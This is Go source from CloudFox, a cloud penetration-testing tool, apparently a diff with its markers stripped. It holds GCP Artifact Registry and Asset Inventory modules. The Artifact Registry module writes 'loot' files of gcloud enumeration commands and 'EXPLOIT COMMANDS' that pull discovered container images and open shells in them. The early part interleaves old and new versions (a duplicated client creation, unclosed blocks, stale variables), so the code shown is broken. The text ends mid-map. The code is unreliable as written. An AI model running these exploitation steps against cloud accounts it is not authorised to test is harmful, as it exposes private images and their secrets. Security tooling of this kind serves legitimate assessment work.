Loot []internal.LootFile
}
// Decide what is loot based on resource information
func (g GCPArtifactRegistryResults) LootFiles() []internal.LootFile {
// TODO consider a loot file of the URLs to the all docker image artifacts. Maybe sample commands to pull the images
return []internal.LootFile{}
}
func (o ArtifactRegistryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o ArtifactRegistryOutput) LootFiles() []internal.LootFile { return o.Loot }
// Houses high-level logic that retrieves resources and writes to output
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPArtifactRegistryCommand(cmd *cobra.Command, args []string) {
// Retrieve projectIDs from parent (gcp command) ctx
var projectIDs []string
var account string
parentCmd := cmd.Parent()
ctx := cmd.Context()
logger := internal.NewLogger()
if value, ok := ctx.Value("projectIDs").([]string); ok && len(value) > 0 {
projectIDs = value
} else {
logger.ErrorM("Could not retrieve projectIDs from flag value or value is empty", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
if value, ok := ctx.Value("account").(string); ok {
account = value
} else {
logger.ErrorM("Could not retrieve account email from command", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
client, err := artifactregistry.NewClient(ctx)
// Initialize command context
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
if err != nil {
logger.ErrorM(fmt.Sprintf("failed to create secret manager client: %v", err), globals.GCP_SECRETS_MODULE_NAME)
return // Error already logged
}
// Create Artifact Registry client
client, err := artifactregistry.NewClient(cmdCtx.Ctx)
if err != nil {
cmdCtx.Logger.ErrorM(fmt.Sprintf("Failed to create Artifact Registry client: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
}
defer client.Close()
// Get the artifact repositories and artifacts using the projectIDs and ArtifactRegistryService
ars := ArtifactRegistryService.New(client)
var artifactResults []ArtifactRegistryService.ArtifactInfo
var repoRestuls []ArtifactRegistryService.RepositoryInfo
// Create module instance
module := &ArtifactRegistryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectArtifacts: make(map[string][]ArtifactRegistryService.ArtifactInfo),
ProjectRepositories: make(map[string][]ArtifactRegistryService.RepositoryInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
client: client,
}
// Set output params leveraging parent (gcp) pflag values
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
format, _ := parentCmd.PersistentFlags().GetString("output")
for _, projectID := range projectIDs {
logger.InfoM(fmt.Sprintf("Retrieving all artifact repositories and supported artifacts in all locations from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
result, err := ars.RepositoriesAndArtifacts(projectID)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
// Execute enumeration
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *ArtifactRegistryModule) Execute(ctx context.Context, logger internal.Logger) {
// Run enumeration with concurrency
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, m.processProject)
allRepos := m.getAllRepositories()
allArtifacts := m.getAllArtifacts()
// Check results
if len(allRepos) == 0 && len(allArtifacts) == 0 {
logger.InfoM("No artifact registries found", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d repository(ies) with %d artifact(s)", len(allRepos), len(allArtifacts)), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
// Write output
m.writeOutput(ctx, logger)
}
// getAllRepositories returns all repositories from all projects
func (m *ArtifactRegistryModule) getAllRepositories() []ArtifactRegistryService.RepositoryInfo {
var all []ArtifactRegistryService.RepositoryInfo
for _, repos := range m.ProjectRepositories {
all = append(all, repos...)
}
return all
}
// getAllArtifacts returns all artifacts from all projects
func (m *ArtifactRegistryModule) getAllArtifacts() []ArtifactRegistryService.ArtifactInfo {
var all []ArtifactRegistryService.ArtifactInfo
for _, artifacts := range m.ProjectArtifacts {
all = append(all, artifacts...)
}
return all
}
// ------------------------------
// Project Processor (called concurrently for each project)
// ------------------------------
func (m *ArtifactRegistryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating artifact registries in project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
// Create service and fetch data
ars := ArtifactRegistryService.New(m.client)
result, err := ars.RepositoriesAndArtifacts(projectID)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME,
fmt.Sprintf("Could not enumerate artifact registries in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectRepositories[projectID] = result.Repositories
m.ProjectArtifacts[projectID] = result.Artifacts
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["artifact-registry-commands"] = &internal.LootFile{
Name: "artifact-registry-commands",
Contents: "# GCP Artifact Registry Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
artifactResults = append(artifactResults, result.Artifacts...)
repoRestuls = append(repoRestuls, result.Repositories...)
logger.InfoM(fmt.Sprintf("Done retrieving artifact repository resource data from project: %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
cloudfoxOutput := GCPArtifactRegistryResults{ArtifactData: artifactResults, RepositoryData: repoRestuls}
// Generate loot for each repository and artifact
for _, repo := range result.Repositories {
m.addRepositoryToLoot(projectID, repo)
}
for _, artifact := range result.Artifacts {
m.addArtifactToLoot(projectID, artifact)
}
m.mu.Unlock()
err = internal.HandleOutput("gcp", format, outputDirectory, verbosity, wrap, globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME, account, projectID, cloudfoxOutput)
if err != nil {
logger.ErrorM(err.Error(), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
return
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d repository(ies) and %d artifact(s) in project %s", len(result.Repositories), len(result.Artifacts), projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *ArtifactRegistryModule) addRepositoryToLoot(projectID string, repo ArtifactRegistryService.RepositoryInfo) {
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
if lootFile == nil {
return
}
// Extract repo name from full path
repoName := repo.Name
parts := strings.Split(repo.Name, "/")
if len(parts) > 0 {
repoName = parts[len(parts)-1]
}
// Handle legacy Container Registry differently
if repo.RegistryType == "container-registry" {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# LEGACY CONTAINER REGISTRY: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Note: Consider migrating to Artifact Registry\n"+
"# Configure Docker authentication:\n"+
"gcloud auth configure-docker %s\n"+
"# List images:\n"+
"gcloud container images list --repository=%s/%s\n"+
"# Check for public access (via storage bucket):\n"+
"gsutil iam get gs://artifacts.%s.appspot.com\n\n",
repo.Name, repo.ProjectID,
strings.Split(repo.Name, "/")[0], // gcr.io hostname
strings.Split(repo.Name, "/")[0], repo.ProjectID,
repo.ProjectID,
)
return
}
// Repository header and enumeration commands
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# REPOSITORY: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Location: %s\n"+
"# Format: %s, Mode: %s, Encryption: %s, Public: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe repository:\n"+
"gcloud artifacts repositories describe %s --project=%s --location=%s\n"+
"# Get IAM policy:\n"+
"gcloud artifacts repositories get-iam-policy %s --project=%s --location=%s\n",
repoName, repo.ProjectID, repo.Location,
repo.Format, repo.Mode, repo.EncryptionType, repo.PublicAccess,
repoName, repo.ProjectID, repo.Location,
repoName, repo.ProjectID, repo.Location,
)
// Docker-specific commands
if repo.Format == "DOCKER" {
lootFile.Contents += fmt.Sprintf(
"# Configure Docker authentication:\n"+
"gcloud auth configure-docker %s-docker.pkg.dev\n"+
"# List images:\n"+
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s\n"+
"# List vulnerabilities:\n"+
"gcloud artifacts docker images list %s-docker.pkg.dev/%s/%s --show-occurrences --occurrence-filter=\"kind=VULNERABILITY\"\n",
repo.Location,
repo.Location, repo.ProjectID, repoName,
repo.Location, repo.ProjectID, repoName,
)
}
lootFile.Contents += "\n"
}
func (m *ArtifactRegistryModule) addArtifactToLoot(projectID string, artifact ArtifactRegistryService.ArtifactInfo) {
lootFile := m.LootMap[projectID]["artifact-registry-commands"]
if lootFile == nil {
return
}
// Exploitation commands for Docker images
if artifact.Format == "DOCKER" {
imageBase := fmt.Sprintf("%s-docker.pkg.dev/%s/%s/%s",
artifact.Location, artifact.ProjectID, artifact.Repository, artifact.Name)
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# DOCKER IMAGE: %s\n"+
"# -----------------------------------------------------------------------------\n"+
"# Project: %s, Repository: %s, Location: %s\n"+
"# Digest: %s\n",
artifact.Name,
artifact.ProjectID,
artifact.Repository, artifact.Location,
artifact.Digest,
)
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
// Generate commands for each tag
if len(artifact.Tags) > 0 {
for _, tag := range artifact.Tags {
lootFile.Contents += fmt.Sprintf(
"# Tag: %s\n"+
"docker pull %s:%s\n"+
"docker inspect %s:%s\n"+
"docker run -it --entrypoint /bin/sh %s:%s\n\n",
tag,
imageBase, tag,
imageBase, tag,
imageBase, tag,
)
}
} else {
// No tags, use digest
lootFile.Contents += fmt.Sprintf(
"# No tags - use digest\n"+
"docker pull %s@%s\n"+
"docker inspect %s@%s\n"+
"docker run -it --entrypoint /bin/sh %s@%s\n\n",
imageBase, artifact.Digest,
imageBase, artifact.Digest,
imageBase, artifact.Digest,
)
}
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *ArtifactRegistryModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Count public repos for finding message
publicCount := 0
for _, repos := range m.ProjectRepositories {
for _, repo := range repos {
if repo.IsPublic {
publicCount++
}
}
}
if publicCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible repository(ies)!", publicCount), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
}
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// getRepoHeader returns the header for repository table
func (m *ArtifactRegistryModule) getRepoHeader() []string {
return []string{
"Project",
"Name",
"Format",
"Location",
"Mode",
"Public",
"Encryption",
"IAM Binding Role",
"Principal Type",
"IAM Binding Principal",
}
}
// getArtifactHeader returns the header for artifact table
func (m *ArtifactRegistryModule) getArtifactHeader() []string {
return []string{
"Project",
"Name",
"Repository",
"Location",
"Tags",
"Digest",
"Size",
"Uploaded",
}
}
// reposToTableBody converts repositories to table body rows
func (m *ArtifactRegistryModule) reposToTableBody(repos []ArtifactRegistryService.RepositoryInfo) [][]string {
var body [][]string
for _, repo := range repos {
// Extract repo name from full path
repoName := repo.Name
parts := strings.Split(repo.Name, "/")
if len(parts) > 0 {
repoName = parts[len(parts)-1]
}
// Format public access display
publicDisplay := ""
if repo.IsPublic {
publicDisplay = repo.PublicAccess
}
// Shorten mode for display
mode := repo.Mode
mode = strings.TrimPrefix(mode, "REPOSITORY_MODE_")
mode = strings.TrimSuffix(mode, "_REPOSITORY")
// One row per IAM member
if len(repo.IAMBindings) > 0 {
for _, binding := range repo.IAMBindings {
for _, member := range binding.Members {
memberType := ArtifactRegistryService.GetMemberType(member)
body = append(body, []string{
m.GetProjectName(repo.ProjectID),
repoName,
repo.Format,
repo.Location,
mode,
publicDisplay,
repo.EncryptionType,
binding.Role,
memberType,
member,
})
}
}
} else {
// Repository with no IAM bindings
body = append(body, []string{
m.GetProjectName(repo.ProjectID),
repoName,
repo.Format,
repo.Location,
mode,
publicDisplay,
repo.EncryptionType,
"-",
"-",
"-",
})
}
}
return body
}
// artifactsToTableBody converts artifacts to table body rows
func (m *ArtifactRegistryModule) artifactsToTableBody(artifacts []ArtifactRegistryService.ArtifactInfo) [][]string {
var body [][]string
for _, artifact := range artifacts {
// Format tags
tags := "-"
if len(artifact.Tags) > 0 {
if len(artifact.Tags) <= 3 {
tags = strings.Join(artifact.Tags, ", ")
} else {
tags = fmt.Sprintf("%s (+%d more)", strings.Join(artifact.Tags[:3], ", "), len(artifact.Tags)-3)
}
}
body = append(body, []string{
m.GetProjectName(artifact.ProjectID),
artifact.Name,
artifact.Repository,
artifact.Location,
tags,
artifact.Digest,
artifact.SizeBytes,
artifact.Uploaded,
})
}
return body
}
// buildTablesForProject builds table files for a project
func (m *ArtifactRegistryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if repos, ok := m.ProjectRepositories[projectID]; ok && len(repos) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getRepoHeader(),
Body: m.reposToTableBody(repos),
})
}
if artifacts, ok := m.ProjectArtifacts[projectID]; ok && len(artifacts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getArtifactHeader(),
Body: m.artifactsToTableBody(artifacts),
})
}
return tableFiles
}
// writeHierarchicalOutput writes output to per-project directories
func (m *ArtifactRegistryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectRepositories {
tableFiles := m.buildTablesForProject(projectID)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
}
// Also add projects that only have artifacts
for projectID := range m.ProjectArtifacts {
if _, exists := outputData.ProjectLevelData[projectID]; !exists {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = ArtifactRegistryOutput{Table: tableFiles, Loot: lootFiles}
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
m.CommandCounter.Error++
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *ArtifactRegistryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allRepos := m.getAllRepositories()
allArtifacts := m.getAllArtifacts()
// Build table files
tableFiles := []internal.TableFile{{
Name: fmt.Sprintf("%s-repos", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getRepoHeader(),
Body: m.reposToTableBody(allRepos),
}}
if len(allArtifacts) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: fmt.Sprintf("%s-artifacts", globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME),
Header: m.getArtifactHeader(),
Body: m.artifactsToTableBody(allArtifacts),
})
}
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := ArtifactRegistryOutput{
Table: tableFiles,
Loot: lootFiles,
}
// Write output using HandleOutputSmart with scope support
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ARTIFACT_RESGISTRY_MODULE_NAME)
m.CommandCounter.Error++
}
}
+861
View File
@@ -0,0 +1,861 @@
package commands
import (
"context"
"fmt"
"sort"
"strings"
"sync"
asset "cloud.google.com/go/asset/apiv1"
"cloud.google.com/go/asset/apiv1/assetpb"
assetservice "github.com/BishopFox/cloudfox/gcp/services/assetService"
"github.com/BishopFox/cloudfox/gcp/shared"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/iterator"
)
var (
assetTypes []string
showCounts bool
checkIAM bool
showDependencies bool
showAll bool
)
var GCPAssetInventoryCommand = &cobra.Command{
Use: globals.GCP_ASSET_INVENTORY_MODULE_NAME,
Aliases: []string{"assets", "cai", "resource-graph"},
Short: "Deep asset analysis with IAM and dependencies (requires Cloud Asset API)",
Long: `Deep resource analysis using Cloud Asset Inventory API.
USE THIS COMMAND WHEN:
- You need IAM policy analysis (public access detection)
- You want to analyze resource dependencies and cross-project relationships
- You need to filter by specific asset types
- Cloud Asset API is enabled in your projects
REQUIRES: Cloud Asset API (cloudasset.googleapis.com) to be enabled.
To enable: gcloud services enable cloudasset.googleapis.com --project=PROJECT_ID
If Cloud Asset API is not enabled, use 'inventory' command instead for a quick
overview that works without the API.
FEATURES:
- Lists all assets in a project (complete coverage via Asset API)
- Provides asset counts by type (--counts)
- Checks IAM policies for public access (--iam)
- Analyzes resource dependencies and cross-project relationships (--dependencies)
- Supports filtering by asset type (--types)
- Generates query templates for common security use cases
Flags can be combined to run multiple analyses in a single run.
Examples:
cloudfox gcp asset-inventory -p my-project
cloudfox gcp asset-inventory -p my-project --counts
cloudfox gcp asset-inventory -p my-project --iam
cloudfox gcp asset-inventory -p my-project --dependencies
cloudfox gcp asset-inventory -p my-project --all
cloudfox gcp asset-inventory -A --iam # All projects, check public access
cloudfox gcp asset-inventory -p my-project --types compute.googleapis.com/Instance,storage.googleapis.com/Bucket`,
Run: runGCPAssetInventoryCommand,
}
func init() {
GCPAssetInventoryCommand.Flags().StringSliceVar(&assetTypes, "types", []string{}, "Filter by asset types (comma-separated)")
GCPAssetInventoryCommand.Flags().BoolVar(&showCounts, "counts", false, "Show asset counts by type")
GCPAssetInventoryCommand.Flags().BoolVar(&checkIAM, "iam", false, "Check IAM policies for public access")
GCPAssetInventoryCommand.Flags().BoolVar(&showDependencies, "dependencies", false, "Analyze resource dependencies and cross-project relationships")
GCPAssetInventoryCommand.Flags().BoolVar(&showAll, "all", false, "Run all analyses (counts, IAM, dependencies)")
}
// ResourceDependency represents a dependency between two resources
type ResourceDependency struct {
SourceResource string
SourceType string
TargetResource string
TargetType string
DependencyType string // uses, references, contains
ProjectID string
}
// CrossProjectResource represents a resource accessed from multiple projects
type CrossProjectResource struct {
ResourceName string
ResourceType string
OwnerProject string
AccessedFrom []string
}
type AssetInventoryModule struct {
gcpinternal.BaseGCPModule
ProjectAssets map[string][]assetservice.AssetInfo // projectID -> assets
ProjectTypeCounts map[string][]assetservice.AssetTypeCount // projectID -> counts
ProjectDependencies map[string][]ResourceDependency // projectID -> dependencies
CrossProject []CrossProjectResource // global (cross-project by nature)
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type AssetInventoryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AssetInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AssetInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPAssetInventoryCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ASSET_INVENTORY_MODULE_NAME)
if err != nil {
return
}
module := &AssetInventoryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectAssets: make(map[string][]assetservice.AssetInfo),
ProjectTypeCounts: make(map[string][]assetservice.AssetTypeCount),
ProjectDependencies: make(map[string][]ResourceDependency),
CrossProject: []CrossProjectResource{},
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *AssetInventoryModule) getAllAssets() []assetservice.AssetInfo {
var all []assetservice.AssetInfo
for _, assets := range m.ProjectAssets {
all = append(all, assets...)
}
return all
}
func (m *AssetInventoryModule) getAllTypeCounts() []assetservice.AssetTypeCount {
// Merge counts from all projects
countMap := make(map[string]int)
for _, counts := range m.ProjectTypeCounts {
for _, c := range counts {
countMap[c.AssetType] += c.Count
}
}
var all []assetservice.AssetTypeCount
for assetType, count := range countMap {
all = append(all, assetservice.AssetTypeCount{
AssetType: assetType,
Count: count,
})
}
return all
}
func (m *AssetInventoryModule) getAllDependencies() []ResourceDependency {
var all []ResourceDependency
for _, deps := range m.ProjectDependencies {
all = append(all, deps...)
}
return all
}
func (m *AssetInventoryModule) initializeLootForProject(projectID string) {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["asset-inventory-details"] = &internal.LootFile{
Name: "asset-inventory-details",
Contents: "# Cloud Asset Inventory Details\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["asset-inventory-commands"] = &internal.LootFile{
Name: "asset-inventory-commands",
Contents: "# Cloud Asset Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
}
func (m *AssetInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
// If --all is set, enable all flags
if showAll {
showCounts = true
checkIAM = true
showDependencies = true
}
// If no flags set, default to basic asset listing
noFlagsSet := !showCounts && !checkIAM && !showDependencies
// Run requested analyses
if showCounts {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectCounts)
}
if checkIAM {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProjectIAM)
} else if noFlagsSet {
// Only run basic listing if no flags and IAM not requested (IAM includes basic info)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_ASSET_INVENTORY_MODULE_NAME, m.processProject)
}
if showDependencies {
m.processProjectsDependencies(ctx, logger)
}
// Build summary message
var summaryParts []string
allTypeCounts := m.getAllTypeCounts()
if len(allTypeCounts) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d asset type(s)", len(allTypeCounts)))
}
allAssets := m.getAllAssets()
if len(allAssets) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d asset(s)", len(allAssets)))
}
if checkIAM {
publicCount := 0
for _, asset := range allAssets {
if asset.PublicAccess {
publicCount++
}
}
if publicCount > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d with public access", publicCount))
}
}
allDeps := m.getAllDependencies()
if len(allDeps) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d dependencies", len(allDeps)))
}
if len(m.CrossProject) > 0 {
summaryParts = append(summaryParts, fmt.Sprintf("%d cross-project resources", len(m.CrossProject)))
}
if len(summaryParts) == 0 {
logger.InfoM("No assets found", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %s", strings.Join(summaryParts, ", ")), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *AssetInventoryModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
assets, err := svc.ListAssets(projectID, assetTypes)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
for _, asset := range assets {
m.addToLoot(projectID, asset)
}
m.mu.Unlock()
}
func (m *AssetInventoryModule) processProjectIAM(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating assets with IAM in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
assets, err := svc.ListAssetsWithIAM(projectID, assetTypes)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets with IAM in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assets...)
for _, asset := range assets {
m.addToLoot(projectID, asset)
}
m.mu.Unlock()
}
func (m *AssetInventoryModule) processProjectCounts(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Counting assets in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
svc := assetservice.New()
counts, err := svc.GetAssetTypeCounts(projectID)
if err != nil {
m.CommandCounter.Error++
gcpinternal.HandleGCPError(err, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not count assets in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectTypeCounts[projectID] = counts
m.mu.Unlock()
}
// processProjectsDependencies analyzes assets with full dependency tracking
func (m *AssetInventoryModule) processProjectsDependencies(ctx context.Context, logger internal.Logger) {
logger.InfoM("Analyzing assets and dependencies...", globals.GCP_ASSET_INVENTORY_MODULE_NAME)
assetClient, err := asset.NewClient(ctx)
if err != nil {
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
"Could not create Cloud Asset client")
return
}
defer assetClient.Close()
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProjectWithDependencies(ctx, project, assetClient, logger)
}(projectID)
}
wg.Wait()
// Analyze cross-project dependencies
m.analyzeCrossProjectResources()
// Generate query templates
m.generateQueryTemplates()
}
func (m *AssetInventoryModule) processProjectWithDependencies(ctx context.Context, projectID string, assetClient *asset.Client, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Analyzing dependencies in project: %s", projectID), globals.GCP_ASSET_INVENTORY_MODULE_NAME)
}
m.mu.Lock()
m.initializeLootForProject(projectID)
m.mu.Unlock()
parent := fmt.Sprintf("projects/%s", projectID)
req := &assetpb.ListAssetsRequest{
Parent: parent,
ContentType: assetpb.ContentType_RESOURCE,
PageSize: 500,
}
it := assetClient.ListAssets(ctx, req)
for {
assetItem, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
m.CommandCounter.Error++
parsedErr := gcpinternal.ParseGCPError(err, "cloudasset.googleapis.com")
gcpinternal.HandleGCPError(parsedErr, logger, globals.GCP_ASSET_INVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate assets in project %s", projectID))
break
}
// Convert to AssetInfo for consistency
assetInfo := assetservice.AssetInfo{
Name: assetItem.Name,
AssetType: assetItem.AssetType,
ProjectID: projectID,
}
if assetItem.Resource != nil {
assetInfo.Location = assetItem.Resource.Location
}
m.mu.Lock()
m.ProjectAssets[projectID] = append(m.ProjectAssets[projectID], assetInfo)
m.mu.Unlock()
// Analyze dependencies
m.analyzeAssetDependencies(assetItem, projectID)
}
}
func (m *AssetInventoryModule) analyzeAssetDependencies(assetItem *assetpb.Asset, projectID string) {
if assetItem.Resource == nil || assetItem.Resource.Data == nil {
return
}
// Common dependency patterns
dependencyFields := map[string]string{
"network": "uses",
"subnetwork": "uses",
"serviceAccount": "uses",
"disk": "uses",
"snapshot": "references",
"image": "references",
"keyRing": "uses",
"cryptoKey": "uses",
"topic": "references",
"subscription": "references",
"bucket": "uses",
"dataset": "references",
"cluster": "contains",
}
